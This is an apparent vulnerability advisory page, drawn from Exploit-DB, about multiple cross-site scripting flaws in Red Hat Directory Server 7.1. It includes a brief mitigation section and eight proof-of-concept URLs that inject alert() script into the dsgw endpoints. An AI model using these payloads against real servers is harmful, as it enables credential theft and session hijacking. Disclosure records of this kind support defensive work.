Cross-Site Scripting Vulnerabilities in Red Hat Directory Server

vendor:

Red Hat Directory Server

by:

Unknown

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Red Hat Directory Server

Affected Version From: 7.1

Affected Version To: Unknown

Patch Exists: NO

Related CWE:

CPE: redhat:directory_server

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

Cross-Site Scripting Vulnerabilities in Red Hat Directory Server

Red Hat Directory Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to sanitize user-supplied input before displaying it to users. Additionally, implementing a web application firewall (WAF) can help detect and block XSS attacks.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/23709/info

Red Hat Directory Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

Red Hat Directory Server 7.1 is reported vulnerable; other versions may also be affected. 

http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/search?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/lang?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/csearch?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E http://example.com:8001/clients/dsgw/bin/newentry?context=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E